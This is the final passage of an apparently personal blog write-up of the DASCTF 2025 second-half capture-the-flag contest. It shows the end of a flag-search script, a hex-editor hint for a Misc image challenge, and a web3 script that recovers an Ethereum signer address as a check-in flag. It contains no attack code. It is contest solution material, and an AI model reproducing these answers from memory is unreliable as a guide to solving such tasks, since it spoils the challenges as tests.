if flag_bytes.startswith(b'flag{') or flag_bytes.startswith(b'DASCTF{') or \
flag_bytes.startswith(b'hgame{') or flag_bytes.startswith(b'CTF{'):
print(f"Found with delta = {delta}!")
print(f"Flag: {flag_bytes.decode('utf-8', errors='ignore')}")
break
else:
print("未找到 flag")
else:
print("验证失败")

print("\n完成!")

Misc

DigitalSignature

010打开在图片末尾

img

Checkin

AI画师的小秘密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from web3 import Web3
from eth_account.messages import encode_defunct

# 原始签名消息
message = "Find out the signer. Flag is account address that wrapped by DASCTF{}."
# 编码消息(与签名时的编码方式一致)
encoded_msg = encode_defunct(text=message)
# 给定的签名结果
signature = "0x019c4c2968032373cb8e19f13450e93a1abf8658097405cda5489ea22d3779b57815a7e27498057a8c29bcd38f9678b917a887665c1f0d970761cacdd8c41fb61b"

# 恢复签名者地址
signer_address = Web3().eth.account.recover_message(encoded_msg, signature=signature)

# 输出flag
print(f"DASCTF{{{signer_address}}}")

DASCTF下半年赛WriteUp
https://xu17.top/2025/12/07/DASCTF2025/
作者
XU17
发布于
2025年12月7日
许可协议
XU17